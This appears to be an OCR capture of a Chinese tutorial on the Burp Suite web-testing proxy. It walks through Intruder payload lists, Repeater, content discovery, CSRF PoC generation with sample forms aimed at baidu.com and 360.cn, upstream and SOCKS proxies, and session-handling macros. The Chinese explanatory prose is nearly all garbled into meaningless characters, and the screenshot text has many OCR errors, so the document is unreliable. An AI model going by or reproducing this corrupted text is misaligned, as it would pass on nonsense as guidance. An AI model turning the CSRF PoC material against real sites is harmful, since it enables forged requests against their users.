Target http://ime_sogou.com /pyup.gif Send to Intruder Ctrl+l 139 19:42:40 6 75 .
e sk e nA2 mmmmiam e e iRt S 1s Repomer P m——7 J,_Anm%c
e Send to Sequencer
Send to Comparer (request)
Raw | Headers | Hex Send to Comparer (response)
HTTP/1.1 200 OK Show response in browser IO
Server: nginx
Date: Mon, 06 Jun 2016 11:39:25 GMT Request in browser >
: application/octet-stream Engagement tools >
reep-alive
Copy URL
blic, must-revalidate, max-ag Copy as curl command
- : filename="YunCelllist.inl] COPY links Iy
= Save item

u L_J u L_J o 1 match

HARSFEEAKE, 5HARER
1724910 Burp FPRES,  EELRAFuh st B

IS FHOC I TR i 2
Proxy 7 S8 H&E . HHME5 LA EEF A

AlsE:  Save state

5|\ Repeater 4H[ A1 2id5% . Suite HAth THAHAMGMIAREFE S . LIATAT
[Save state] W}, Burp ¥R ATE S RIRAF Scope H 1R



A, B
SR, R ERAEAE ST A VB BEAT ORAF o ARTT DL EEARAE . B SCIRAF
) = B R HEAT N3 ORAF = AR T — M. a0 SRAE A %N, SIRER R B ER,
Burp R s LB RAF BE N



Restore
state M\ Z BT ISR E Burp < BT RAFINEGE, 5 _LTHF Save state #/EF XTI .

fEFHHAFIRS A AR R DR, RENE A B BRAEZEM A e RO B . & £ 2R
1E:

DRAFAREE— R AR (B AT DL i R IR S, DMET28 R &R

ARG AEHBE BRI, I8 I # K Burp IR EE A 1 A AT B N
WL IERI RSP, IRBEERER DB R 1Y A L

LA AR SO, AN T R G 2 2 1R A 1 LA S AR 1 23 B APl
i Burp RSP, ERIBARIIL S Burp FC B ARTA SR Y 7 -

o~ wdPE

Intruder



Intruder i .3 211 T H S L BT HIAHRECE - “E AR AN B D) e T -

Burp 1 Repeater Window Help

Tard Start attack peater I Sequencer I Decoder T Comparer T Extender T Options I Alerts

Open saved attack
| Inte! Dptions l
Actively scan defined insertion points o

Send to Repeater

off Actian

Save attack config
Load attack config

w Copy attack config
New tab behavior

vV v vYVvYyyYy

Automatic payload positions

Configure predefined payload lists

Start attack Ak EEX T Open save attack HFEINE 2 BT ARAEH) Intruder Wil X4 Save
attack config. Locd attack config. Copy attack config, I Z4% i Intruder (B i B 5
& Automatic payload position 3= 2 7454 payload H{EH 7. B #SHEEIEINS
#4 fH Configure predefined payload lists H Tzl Burp AL payload 7 8MH, 4FRATA
it SRR, 225 payload 7 MUECE SO R F T, a0 B TR:

r‘\: Preset Payload Lists - R P — ﬂ‘

@ Predefined Payload Lists

Configure the location of the items that Burp Intruder should use for its
predefined payload lists.

(® Use built-in lists

(U Load custom lists from directory:

{ Select directory ... J

Fuzzing - quick A Copy
Fuzzing - full
Usernames

Passwords

Short words

a-z

AZ v

AT DLk —
A payload 128784, Xt lifHiFTBH. FEEENSE, XREFNZ payload XU H
X, MEFHZE, SHINEE T payload S

Repeater



Intruder & ¥ = ]T Repeater T B {54, BN T3HHE:
Burp Intruder [REEEEE Window Help

Target | Proj v Update Content-Length q Sequencer T Dec

v Unpack gzip / deflate

- Follow redirections o ey L

Target | Pos Process cookies in redirections On-site only
— View In-scope only i
? Paylo Action A|Ways

Update Content-Length
AT Repeater #AERT, H3IHEHTH Sk H ¥ Content-Length Unpack gzip /deflate fi# &
J& 453 Follow redirections Bki4atil, 7 LUEFEMABE: . [F—ul i Nk . Scope W
Bk . SRR DURK b 2 — Process cookie in redirections k4% i [F] i 2 75 AL B
Cookie View ¥ Z %4 Repeater [ &AM i 5

Yni1 ran define nne nr mnre navinad aste The num

ARTERBFZ J5, FANIKEH Engagement tools.
Intercept I HTTP history T WebSockets history T Options ]

Filter: Hiding CSS, image and general binary content

# 4 Host | Method | URL | Params | Edited | Status |Length |MIMEt... |Extension | Title
ooy T - Forrer—uTy — —
714 http://down_3Isoft.com GET /help/ck2 html O O 200 245 HTML html
715 http://tj5.3lsoft. GET
Py SO_ e http://home_baidu.com/resource/r’home/flash.js

716 http://www_baidu.com GET 642 HTML 302 Found
717 hitp:/www.baidu.com GET Add to scope 642 HTML 302 Found
718 hitps://www.baidu.com GET Spider from here 102835 HTML CM4a%a, A<
724 http://home.baidu.com GET Do an active scan 9974  HTML '@0OU°UTE
725  http://home.baidu.com GET Do a passive scan 1218 script is
726  http://home.baidu.com GET Send to Intruder Ctrl+l 8544 script js
EZ http:/itj5.3lsoft.com GET Send to Repeater Ctrl+R
-

S Send to Sequencer

Response Send to Comparer (request)

S oo [ Hex Send to Comparer (response)

Show response in browser

iTTP/1.1 200 OK )
date: Mon, D& Jun 2016 13:31:09 GMT Request in browser >
Server: Apache/Z.2.31 (Unix)
Last-Modified: Sun, 15 Aug 2010 1£:00:0(d Engagemem tools > Find references
iTag: "ea0l72-3bB-48dd 1c000" i - .
\C:gpt_;:nges: bytes‘ 2eRese Show new history window | Discover content
Jontent-Length: 952 Add comment Schedule task
Connection: close i .
lontent-Type: application/javascript nghllght P | Generate CSRF PoC
function CreateFlash(idad, swfurl, wad, Delete item
rar str = "<object classid=\"clsid:d27cqd (Clear history fpdownload.macromedia. com/pub/shockwave/c
b "\" height=\"" + had + "\" id=\"" + id
str += "<param name=\"allowScriptAccess COpy URL
str += "<param name='"cquality." value=\" Copy as curl command
str += "<param name='"wmode'" walue='"oj Py
o | el — = .. | Copylinks

? < + = Type a search term
2 () () ) | L

M BRI E, DRels T A TSR F, BE/E Find references.
Discover content. Schedule task. Generate CSRF Poc VUM 132 H.,

Find references =&+48%}i% i 5 2% Http ¥4 2 3REUH referer /5 &



References to http://home.baidu.com/resource/r/home/flash.js

=L
e . — —
Source l Host A‘ URL Status ' Length | Time requested |
Target http://home baidu.com / 200 9974 21:36:11 6 758 2016
|
; Headers IHex IHTML IRender ]
| [Rau]|
HTTP/1.1 200 OK
Date: Mon, 06 Jun 201& 13:31:08 GMT
\| Server: Apache/Z.2.31 (Unix)
Last-Modified: Thu, 1S May Z01l& 03:00:47 GMT
ETag: "72186b-25£7-533292e4c95c0"
| Accept-Ranges: bytes
Content-Length: 9719
Connection: close
Content-Type: text/html
<!DOCTYPE HIML PUBLIC "-//W3C//DID HIML 4.01 Transitional//EN"
"http: //wwvw.w3 .org/TR/html i/loose.dtd">
<html>
|| <head> -
<meta http-equiv="Content-Type" content="text/html; charset=ghl312"> L
? < + > | | Type a search term 3 highlights
Search completed

1 results




Discover content ;& 48Xk 346 Hitp JH B, RIEH url #8645, HH4T H SRMEs A ScE
M 258 E. MIAS S, K LA E S

E  Content discovery: http://home.baidu.com/resource/r/home/ D‘ (=)

l [ Control TConﬁgT Site map ]

]

| ?} Target

Define the start directory for the content discovery session, and whether files or directories should be targeted.
| Start directory: ‘ http://home_baidu.com/resource/r’home/

Discover: @) Files and directories
() Files only
() Directories only

[V Recurse subdirectories

Max depth: 16

2 | Filenames

Configure the sources Burp should use for generating filenames to test.

) Built-in short file list |
[ Built-in short directory list

[ Built-in long file list

[ Built-in long directory list

] Names observed in use on target site

(V] Derivations based on discovered items

| File Extensions
These settings control how the discovery session adds file extensions to file stems that are being tested.

(] Test these extensions:

asp, aspx, htm, html, jsp, php Edit " (I

H. Discover GEIUA: T2 CIFAIH R AXUZHSCAF . UOU2H0 A 3¢ GEIFE P 1 H =3¢,
R E R PR D

PIRE R4 (filenames) #3545 : Built-in short file list PYBERIFE 412 . Built-in
short directory list WA H %% . Built-in long file list P BERIK SCHE51 2
Built- in long directory list WHEHI K H%%5%. Names discovered in use on the
target site Wl KB4 FR. Derivations based on discovered item T &5 4
BEAT S o

IRy, BB, AT a] DURSE SCIF K90 e 22 0 SO SR AT B

MET PRI S X L. Test these extensions MRIX L6 & 4 14 Test all
extensions observed on target site AR LEY @ 4 30, XA FRATTAS FE b
R RARIEOR, AT AL BRI FRATAR I S e 4, A B84 AR MY e 4



/4 Test these variant extensions on discovered files il & FLIX Lo~ 449 & 44 (1A%
&, MEIFERATTULE H, ERRA SO RIiE, XAMEIEAEH A H Test file
stems with no extension M H T4 0 4F

Y298 51 00 B A -
@ Discovery Engine

These settings control the engine used for making HTTP requests when discovering content.

Case sensitivity: @ Auto-detect
() Sensitive

() Insensitive

(V] Add discovered content to suite site map
(/] Copy content from suite site map

(/] Spider from discovered content

Number of discovery threads: 4

Number of spider threads: 2

F#H Case sensitivity K/N5HUK. Add discovered content to suite site map ¥
PPIRLE Ak S E G . Copy content from suite sitemap S| Target il &1 & 5132

Ik R . Spider from discovered content JEBGZHE R LI A A . Number
of discovery threads 2l £k 23 & 2L H . Number of spider threads JJCH [ £k F2

K HH.



Schedule task 1145 I [ 3% 455 I [A] 32 1 D) 6 = B R4 AT T i url R 9 W) i6 B4
R EHAT ZPMESS L, BENAT S5 [ R BT AT .
 Schedule task. =] B [

| Select the type of task you want to run.

(® Scan from a URL

(U Pause active scanning
() Resume active scanning
() Spider from a URL

() Pause spidering

(U Resume spidering

() Save state

t Cancel J [ Next J J

UNSLES

AT LA Y, HAEAIAa R url, BATTR] LA TR RS ORAF A ARAE



Generate CSRF Poc 4 /% CSRF [#) POC HIhREMITER &, Kk r http HE, H3h
B CSRF [ POC NZ. HHATHE POC N BARAFE N HTML B Al #4047 .

B CSRFPoC generator T e )

Request to: https://www.baidu.com ? Options
M‘J Params IHeaders I Hex ]
GET /?tn=79081068_1 ocem dg HTTP/1l.1 &
Accept: application/x-ms-application, image/jpeg, application/xaml+xml, image/gif,
image/pipeg, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint,
application/msword, */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT £€.1; WOWE4; Trident/4.0; SLCCZ; _NET
CLR Z.0.50727; .NET CLR 3.5.30728; .NET CLR 2.0.30729; Media Center PC €.0; .NET4.0C;
-NET4.0E; InfoPath.3)
Accept-Encoding: gzip, deflate
Connection: Keep-Alive v
—_— _— — e r 1 ol
l ? J < l + J[ > J Type a search term 0 matches
| —
CSRF HTML:
<html> "N
<!-- CSRF PoC - generated by Burp Suite Professional --> o
<hody>
<form action="https://www.baidu.com/">
<input type="hidden" name="tn" value="79081l068&#95;1&855;0en&f95,; dg" /> |
<input type="subnit" wvalue="Subnit recuest" />
</form>
</body> N
</html>
I L
| |
>
b
— —— — — )
? < + > | | Type a search term 0 matches
Regenerate [ Test in browser J l Copy HTML J [ Close J




FEA K POC I, FATAT PR AL i S Hdt AT i &, i 4 L) Loptions] s

AT LUEFARSE http FrvE B304 R url ZetDir) form R, Mutipart J58 [ form K,
W E AR form R, BB FOP W SR UK BB, X R ITR— A EH A, 43R
& BIF2 )G, Sdik A [Regenerate] A MEIA . FEVER I, Mutipart 28
AU form 32 5N @ SCA ) form R L IE SR Z B http Y52 A5 1 content-type H5E
M. wf BT POC MAEMKE, WHFESEHLETMAN [Regenerate] #4241, HFitk
B POC. 4 POC A2 Ja, YRATLMER [CopyHTMLY SCAS, N html SCAFH AT
YEHRAT, AT DAsiddy [Testin Brower] , 72 Sids op BTN AT, HEATIK.

CSRF HTML:
<html> A

<!-- CSRF PoC - generated by Burp Suite Professional --> l\

<hbody>

<form action="http://tip.f.360.cn/pagetip/req=0" method="POIST">
<inp ='hi -

nane="c831 BY Show response in browser Qo el cxsl
;EE0;USEL e S;a836,;gFas
30;c0#158 35;06463;06#35
;00#13;683 | To show this response in your browser, copy the URL below and paste #158;00
#35;Pa§27 ; : 7 21;6841;68161
O0#187; ¢ into a browser that is configured to use Burp as its proxy. o c§156BuTcs
44;He#63; $92;68#134;caf129
;00a&#140 - 178;6#155
il http://burp/show/1 Copy igeinaas Y £/
GH1ET; 6HL o ;&#130;88174;héa
#177;xp2& [_J In future, just copy the URL and don't show this dialog Close 80;70#172 ;06446 ;
&§18;06%1 25;8$155;0
7eefll4;0 ;a§47;6827
;I0b&#132 56;Ya#5;08174
wQEaH14;6#175;a#64,;06204128,;08105;0864 ;00859 de#18; 6842 ; Nafo)l ;0a#1688;68175;068175;a43;0847;6
$14;6815;6811;88190;06F151,;n6#106;6#134;6892;Scelt ;6H46;681089;00A6819;a68177;65136;0a817 .
5;0gt; gafoE; &#23;d2 0§07 ;08162 ;6F146,;6513;65140;6#177,;068182;68215;c0892,;08131;68178; 641 v

[ZJ B u > Type a search term 0 matches
Regenerate [ Tastsmmset»] [ Copy HTML J l Close J
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B+ VU% BurpSuite 45 Hik B F1{E

7f Burp Suite H, fFfE SRR ER N E, KR EIRT, —HRE B2 Burp Suite [
R AR, XS Burp Suite H' Options it . 24341147 JF Options Tk B 7] & 5,
‘Es&H Connections. HTTP. SSL. Sessions. Display. Misc 7N/ NI 4%

Burp Intruder Repeater Window Help

[ Target T Proxy TSpider T Scanner Tlntruder T Repeater TSequencer TDecoder TComparer T Extender T Options | Alerts

j Connections ] HTTP I SSL I Sessions I Display I Misc ]

| Platform Authentication
U These settings let you configure Burp to automatically carry out platform authentication to destination web servers.

(/] Do platform authentication

[ Add J ;Host AiType iUsemamei'Domain ”\Domain host
Edit
Remove

[_] Prompt for credentials on platform authentication failure

AN FE [ 7 L B

Burp M£%i#&E#:% & (Connections)
HTTP B2 EAE W E (HTTP)
SSLEEAIN® K E (SSL) &1k
¥ E (Sessions) fRE

(Display) HETHiEE (Misc)

T HEMFK KBS B DR S R TR DhRE i

Burp MZiE#:% E (Connections)

Connections i~ FZH KIS Burp Wk GIE. B AAEERS %5 Socks ARHE.
AR REE . EHLA IR A T LA . Scope Z AN SR NN T AT CEC B . H4IRATITIF
Connections 1T, M EAETHES), BHEE B EEWKE T &S MIAE (Platform

Authentication) -

SEE G 450AE (Platform Authentication)



~» | Platform Authentication
Y These settings let you configure Burp to automatically carry out platform authentication to destination web servers.

(/] Do platform authentication
[ Add J iHost AiType iUsername‘ Domain LDomain hostﬁ‘
Edit |
>
Remove

[_] Prompt for credentials on platform authentication failure

XV B R VFAREC E Burp E 33T 2] H A5 Web BRSS 85 50°F & B3 3AE, ASE R EHLAT
CL BCEA R IE R RANE . B SRR SRR AA: BASIC, NTLMvL,
NTLMv2 A4 22”1\ 1iF ( Digest authentication). 1% A m#E W T

Horpigi 44
MENLFB AT NTLMvL, NTLMv2 S0 580E. 78 & S 6AIE (Platform
Authentication) ¥ & 1 K 57— Checkbox %Il (Prompt for credentials on
platform authentication failure) , W ILTUE, WK 2438 3] & 43 060E R, Burp
2R — MRHEAME, SRR RBEER.

AR S % (Upstream Proxy Servers)



@ Upstream Proxy Servers

G The following rules determine whether Burp sends each outgoing request to a proxy server, or directly to the destination web server. The first rule that
U proxy server, create a rule with * as the destination host.

Add J Enabled Destination host ‘ Proxy host | Proxy port Auth type | Username

Edit

Remove S

XL E E AL Burp 2 02 K EE R EHACEARSS A%, BUERE ) H br Web 55
fro MAREENR S5 S B I B rp AT IR Y, X —FIER, SR IR E %
ANUCECHIN . H3RATECE 7 2 N, W LB AR A H bs AL TG E A R
REEAR 5 4 BB . XESUPRHFZ IO, IFH 5 B bs Web AR 55 &AL 1926 — SR
PERARRN . R AR EAMMUTEL, Burp BRUCKIEE . JEARERM 7 AT %R
O ANEE, HA AT

E Add upstream proxy rule @

w Enter the details of the upstream proxy rule. You can use wildcards to specify
destination hosts (* matches zero or more characters, ? matches any character
except a dot). Leave the proxy host blank to connect directly for the specified
destination host.

Destination host: Destination host, may include wildcards

Proxy host: Proxy host, leave blank to connect directly

Proxy port:

Authentication type: | NTLMv2 ﬂ

Username:

Password:

Domain:

Hostname:

| OK J [ Cancel J

L FATAT LA
i FHTE H b EHUEAAE R A IE R IE, FRHEEAF CEANSEENFRFLE? 5547
FRAMUCEL, BT DA o KIEEBEIEREIER—AMCIARSS 2% . 6 T HE 1)
T RIRAREEAR 5548, FRATAT LIRS 75 Z 48 @ YOE 7 SARVGE G . & SRR S0
FKMAE: BASIC, NTLMv1, NTLMv2 FI“R§E "G50 . FAE, s M EN 8 7B
H T NTLM S40NE.  SIRAVEGRE 52— 2 LN 2 J5, e BBl B e
AR5 252 A, FRATTAT ATE 213 rposie FLHEAT PN 25 10 g LR L R IR 1) 1




Socks {CH#

QJ SOCKS Prox

1 These settings let you configure Burp to use a SOCKS proxy. This setting is applied at the TCP level, and all outbound requests will be sent vi
—J requests to upstream proxies will be sent via the SOCKS proxy configured here.

|| Use SOCKS proxy

SOCKS proxy host:

SOCKS proxy port:

Username:

Password:

[_J Do DNS lookups over SOCKS proxy

XLV B RVFIRATECE Burp fH SOCKS A3 7 A7 Frfa 4 il s, (HIbikE R
16 TCP ZARL, B ki SRk i ix AMRE R % . WERIRATFIN R E T 2l HTTP AR
P 25 O B AR, S SR AR B S X G B ) SOCKS REEAIE. HAFKIM
VCELES 2R Se s AH--> EJ QR -->SOCKS /CHE ., 7E{# il SOCKS fUHLN, BAIIFHE
r)idk

[Use SOCKS proxyl , FF#RAEATEA ip 2 BHL4 . 5. AIERI A4
(i EEFR) o WEERA12%E T [Do DNS lookups over SOCKS proxy] , MJ#EAT
WA MR T, il SOCKS AR L&, MASMEAAMZET.

R E (Timeouts)

8

A These settings specify the timeouts to be used for various network tasks. Values are in seconds.

Timeouts

Normal: . 120

Open-ended responses: 10
Domain name resolution: 300

Failed domain name resolution: 60

XV B FEH T 48 % Burp &5 N ZEAT 55 PIRERT o FATTAT LA DA R I T A7 15
IE% (Normal ) - W& E T REHMNKIERE, H6hE Burp EFBGEERMICRER
A I ETEEA

TFiN % (Open-ended responses) - Z W & R 7E— 4N M IE7E AR BEAVEL B N 5K
Ea A gmiS HTTP frk. EXFHMEN T, Burp BiE &4 O & 5 N2 T 4518 5 F I ]
[EfE. 3.4 (Domain name resolution ) - % B #iE Burp f{a] B8 HE4T R Ih 1)
B AR, W H R EH S AR 75 B N — AN E SR . R I84
#r (Failed domain name resolution ) - HLI B i€ Burp 2 A= EH =il ARDD T
LB



DL (e 35 B AXAEC AR A DARD NI 8] A, 2R — NI T R 45, B4R Burp K@ A&
T

T4 B 44 AT
|lj Hostname Resolution
O Add entries here to override your computer's DNS resolution.
| Add J 'Enabled | Hostname q‘ IP address
Edit
= ‘ >
Remove

UEIAC B LR A, B XL E, AT AR E BN B B 1P bk, R w AT
PLEEHERT DNS bl RS EHLAAMENT I 5 245 € N4, IR S EPLAAAHSRERR 1P bt
RIS, A AR LS Y A R R H 2 R R 2 B3R IEB IEIA T, R
T RN & 2 7 s 4L, e Tl e T LU DRI SR I e

Scope Z FMIE R

l’)' Out-of-Scope Requests

x;| This feature can be used to prevent Burp from issuing any out-of-scope requests, including those made via the proxy.
o |_J Drop all out-of-scope requests

@® Use suite scope [defined in Target tab]

() Use custom scope

XA H TR 1R Burp KR T#E Y Target b o % & ) Scope 3 il 2 AME K,
M AT B A G R BIATE Scope JEHIW AEZAE K. B, mBERANAET
[ Dropall out-of-scope requests) , BR300 U #5615 6 YO B i B ARk, X 2615
Rth2s W Burp #5538, 48R, AU AHELIhRE A M ET ) B AsJaFEl, Wi, &
[Use suite scope] . ¢, mTLMER URL ULECHEIN & X H & XVEH, % [Use
custom scopel] . %A% H [Use custom scopel i, Fpkr<: & HAH> URL JU
BRI PR E . A



® Use custom scope

[ Add J ‘-Enabled ‘ Protocol | Host / IP range | Port | File
Edt
Remo;e " b
Paste URL
[ Load ... J
[ Add J ‘vEnabled ‘ Protocol | Host / IP range | Port | File
- W An logout
e | : g
| Any logoff
~ Remove ‘ v Any exit .
== W Any signout
Paste URL
[ Load ... J

Al Target Scope FCE KL, &6 & BAIHRRIR, FIHACE 75 Scope —%, At
AR . WREEFHAAH AT, 1§54 Target Scope Bl B & 17

Session W H

2= AbFEFI (Session Handling Rules)

[Conneuions HTTP | SSL SessionsTDisplay Misc

2| Session Handling Rules

T3 You can define session handling rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular tools, URLs or parameters), and can perform actions such as
U adding session cookies, logging in to the application, or checking session validity. Before each requestis issued, Burp applies in sequence each of the rules that are in-scope for the request.

{ Add J Enabled | Description | Tools

Edit
Remove
Duplicate
Up
Down

To monitor or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

Open sessions tracer

i BB, Burp SUVFRE E L i A BN 513, X RELEFRAT4RRLE 3 % ] Burp Q]
AL BN FHRE Y 2 TR AL BERL A AR S ThBE . X T AL BRI, Burp oI A4 i L 45 i
CRRMEERF) AapfE GRS AD , H3AT RS CADDY #2456 HS 0 000 A B 57 i
NEFR, H Details 1 Scope PN IR A5 B 70 9304 T3 L SCHIB/E AT -

1E (Rules Action)

@ Use cookies from Burp's cookie jar Spider and Scanner




E Session handling rule editor

Details | Scope

2| Rule Description

| Rule 1

» | Rule Actions

The actions below will be performed in sequence when this rule is applied to a request.

{ Add | Enabl... Description 4

Use cookies from the session handling cookie jar

Set a specific cookie or parameter value
Check session is valid g
Prompt for in-browser session recovery
Run a macro

Run a post-request macro

Invoke a Burp extension

BN AT PLPAT — AN 2 A, Bl4n: M Burp [ cookie jar FF 5 #T cookies. KiE 24 Al
2 ik, BATE (FE XHIERFES)D 4%, @i e)d Ba ARVERAERER 2NN, &
AT LLSE X Burp #4 5H FASF R AR P AR A AT AR IR G . Blan, fEfEe ik, &
AP AR R XHFATEER, M Burp B cookie jar #5I cookie; X T4 rE dk 1) iE R
EIRAE 520 R 24 R0 2162 B FIEsIRES, REs, 58T % DB & 8N
FIRE, ARG AR 215 2 BLFE BT cookie jar; XF T8 csritoken 3147 € URL )i
K, B JeisiTZ ULSRIUA 21 csrftoken fH, FF7EKR H1EREHMERHE. 7E Details [HARH,
Burp &4 il 7 LIFNBAE, AhA153 A2

1. Use Cookies From the Session Handling Cookie Jar iX/MAt & IZh{E 2@ id Burp
] Cookie.jar Hk 5 #riE KM cookie 152, X%8, VRATLARE B #i 4 H cookie iti&
A EFF PR T

2. Set a Specific Cookie or Parameter Value iX /Mt & FI301F 245 & cookie B # ¥:A~%
B OWE, mARRARENE, WESERRINEZHEEE cookie.

3. Check Session Is Valid a2t & ATl A 2 WG, WAl

— B IENE CLRAS B A R il . B, FRATAT LK Burp Be BONAUEE X AMERIGIE 2

W, XA TERENHEFKHZRIER =&Y 280 n==) . RNTHESY
A& B 2, Burp @ 2K H— AP EMER . XEERATRER (== K% 1 #45
Bt on==) : @) HEMSTEER b $UTE A



r . My
E  Session handling action editor - Rule 1 u

a
? This action checks whether the session is valid, by either issuing the current request or running a predefined macro (sequence of ™
— requests), and inspecting the response. Ifthe session is invalid, you can optionally perform a further action to obtain a new valid session.

Make request{s) to validate session
1

(® Issue current request
() Run macro:

Add Macro 1

Edit

E

[ ] validate session only every |10 requests

TNSPeci Tesponse 10 Gelermine Session Valany
Location(s): [[] HTTP headers

I [] Response body

] URL of redirection target

w
-

Look for expression: |'°g"‘|

Match type: (® Literal string

(_) Regular expression
Case-sensitivity: () Sensitive

@® Insensitive
Match indicates: (@® Invalid session

() Valid session

or actions for this request

[_] If session is invalid, perform the action below:

[Run amacro M =

OK Cancel

2 Burp KHER, IFRAE VT 2WEARIEZ G, BARE S —2aifE: Rl 7k,
W Burp Rt — AR BT RN B o N 7 HER E 2 A Rk, A8 F K Burp
R A N BV RFIEN, HERWEDY (==LE% 3 FrR==) : a)HTTP WL
SKb)HTTP Wi A& c)AEfa] = 5E ) H AR URL B 1 Va4, £E 3 E 1B LRS- 45 UL BT
FAF B FER, FATHAT LR RN SR R RUR, TR AR RS IERRL, BT
M —BanfE Rt A8 E. RTSWRBUEHIT — B EAE, Burp ] 7 PR,
Wt ERR:




a)

IBAT % D) NS 28 N RIS 2318 SR T X PR, e TR E T g, b A
HECR

4. Prompt For In-Browser Session Recovery XA & A E 25X F 218 K305, M
WSS AT 2 E . FETEKE R, FHEMA Proxy B AERICHKEE, W
ATz E, S AR E 5 Burp 72—

5.Run a Macro 7£ Burp H, 7 & — RFFHEAER Burp #/ERLSHN, S e LUF, 7E
Session H #3217, F TSN, 28175, Burp HRHE &A1 72 W BRSOk %
P& FH T IEEACEE 5 SR A S HORT Cookie. T2 K E SURIW B AE B T R =Y
Higs LR AU T A . S 3RATFETR I Rules Action 1% #% 7 “Run a Macro”
T, ) ge R 2 P T a0 R B TR



ﬁl‘! Session handling action editor - Rule 2 " —

% | This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based

on the result of the macro.

Select macro:

( Add Macro 1

dit

i

Note that the request currently being processed by this session handling rule will still be issued, so the macro should not include this

requestunless itis necessary to issue it twice.

[Z] Update current request with parameters matched from final macro response
(® Update all parameters except for:

Edit |

(_) Update only the following parameters:

Edit |

[_] Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

(] Update current request with cookies from session handling cookie jar

(® Update all cookies except for:

(_) Update only the following cookies:

[ After running the macro, invoke a Burp extension action handler:

)

OK Cancel

mar [ADdY WS I—AN%, WAL,

HEE S HA:

sl CEdit] AT RO e B 30T 94 .



-
E Macro Editor -

e

@ Macro Editor

the macro to confirm itis working correctly.

Use the configuration below to define the items that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can also test

Macro description:  Macro 1

Macro items:
# ‘ Host ‘ Method URL ‘ Status | Cookies received | Derived parameters [ L Configure item J
1 https:/Awww.baidu.com GET Ihis? pC_) It ... 200 __bsi =
Move up
Move down
|
< 7

Rerrs

¥iw] Remove item

Raw | Headers | Hex

HTTF/1.1 200 OK

Server: bfe/1.0.8.18

Date: Thu, 10 Nov 201€ 08:00:00 GMT

Content-Type: baidudpp/json; vE.27.2.14; charset=UTF-8

Content-Length: 95

Connection: keep-alive

Cache-Control: private

Expires: Thu, 10 Nov 2016 09:00:00 GMT

Set-Cookie: _ bsi=2589442762608212052_00_133 N _N_1_0301_COLL N _N_N_0; expires=Thu, 10-Nov-16 08:00:05 GMT; domain=www.baidu.com;
path=/

3Queryl10208375628953767122_1478748340481 ({"g":"","p": false,"bs":"","csor":"0","g": [],"s": [1})

BEEEG

S

Re-record macro
- Re-analyze macro
v

0 matches Test macro

[ ox |

J:IEIEP?Z\E"J%%\ items. 15 R AR E W B A OGN, FREE RO 2
[configure item] 4&EIH XIS E . HIRAT ST UCIRH, FTHFES R E 5




E  Configure Macro Item: GET request to https://www.baidu.com/his?wd=8from=pc_web8irf=3&hisdata=&json=18&p=3.. u

@ Configure Macro Item

Configure how cookies and request parameters are handled for this macro item.

Cookie handling
@ Add cookies received in responses to the session handling cookie jar

(] Use cookies from the session handling cookie jar in requests

Parameter handling

A
wd Use presetvalue 'vJ

from

Use presetvalue '15] pc_web

h hisdata Use presetvalue

|
|
| B
|

json Use presetvalue 'v] 1

[« —

| Custom parameter locations in response

Name | Value derived from
csor From ["bs™™ 7to [="0","g"]

,_
=
Q
Q

=

Edit |

b

Remove

g

RG] O SRR S H0R cookie H AIRINHIKR, %GR HIER, RN,
FHHE R AR NS E, WA E X E CEENSE, MR SC IR Z
HIME



F=e - y Y
E Define Custom Parm @

2 | Define Custom Parameter

Configure the details of the custom parameter location. You need to specify the name that is used for this parameter in
subsequent macro requests, and the location within this response from which the parameter's value should be derived.

-

Parameter name:

[_] Extracted value is URL-encoded

Define the location of the parameter value. Selecting the item in the response panel will create a suitable configuration
automatically. You can also modify the configuration manually to ensure it works effectively.

&

[/] Define start and end / 3 [ Extractfrom regex group

(® Start after expression: | "9"7,"p" v\ P2\ bST "Csor
h () Start at offset: 433 ]| Case sensitive

&~ £

(® End at delimiter: "bs™™ "csor"

| (_) End atfixed length: 5 I
N

i [:j Exclude HTTP headers @ Update config based on selection below Refetch response i

HTTP/1.1 200 OK
Server: bfe/1.0.8.18 -
Date: Thu, 10 Nov Z0l€ 08:00:00 GMT

Content-Type: baidudpp/json; v6.27.2.14; charset=UTF-8

Content-Length: 95

Connection: keep-alive

Cache-Control: private

Expires: Thu, 10 Nov 201& 09:00:00 GMT

Set-Cookie: _ bsi=2589442762€08212052_00_133_ N N_1 0301_COll_ N N N_0; expires=Thu, 10-Nov-1&
08:00:05 GMT; domain=www.baidu.com; path=/ i

jQueryll0208375628953767122_147874834048L ({"q":"","p": EALSE] "bs":"", "csor”:"0","g": [1,"s": [1});

|
-

v
@ EJ EJ EJ Type a search term 0 matches

| OK || Cancel |

7 ERF, BT RS 1 AR, 2 f1 3 Ao EE ESREEEE L, RATHELE 4
Wb HE S MR A PRI ERE RN E SRR E. REREZE, UFEIBTh, HAE
F ) JaREKH T Session Scope % & .

Run a Post-Request Macro Post-Request 7@ & 1 i T2 5 B3z 5, #lan:
Ja BB A T L — P iE R G R . fEIX 5T, Post-Request 7 fA# A
2 MRERSEEM B3RS . fuzz, scan 5.

Invoke a Burp Extension XAMACE FIZN1EE Burp FIFEELE, KXt 4 a2 ih £ it
A7 AL, AL RS, L UESRAE Burp HUEME GO TN . 55T Burp 11,
T ) 152

(Burp Suite 5 F i JE AR A ) =S



8. Yz (Scope)
[ B Session handiing rule ccicar M g |

Details | Scope
— A
LZJ Tools Scope [\

Selectthe tools that this rule will be applied to.

(] Target [¥/] Scanner (/] Repeater
[/ Spider (] Intruder (/] Sequencer
(] Extender [_] Proxy (use with caution)

@ URL Scope

Use the configuration below to control which URLSs this rule applies to. I

() Include all URLs
() Use suite scope [defined in Target tab]
@® Use custom scope

[ Add J Enabled Protocol Host/IP range Port File

Remove >
] (|
Paste URL

[ Load... J
Exclude from scope
l Add J Enabled | Protocol Host/IP range | Port | File

Edit

|

Remove

Paste URL

Load...

i

@ Parameter Scope

You can restrict the rule to requests containing specific parameters if required.

D Restrict to requests containing these parameters: v |
L

M Burp i FIEEANE R, "E7E Scope H5E SO FEMRLL i SR VE I A, I HL32%)05
FHAT A X LN B E (BRAESF AR AR E A ROZAERD) o AN 3E
n] PAZE T IE/E A BTG SR I LR RRIER € X, 7E Scope MR F 3 R PL R =38 11E
2R I%1E KK Burp TE (Tools Scope) , 1% Burp HI#&/Ni T EAM, Hiltn.
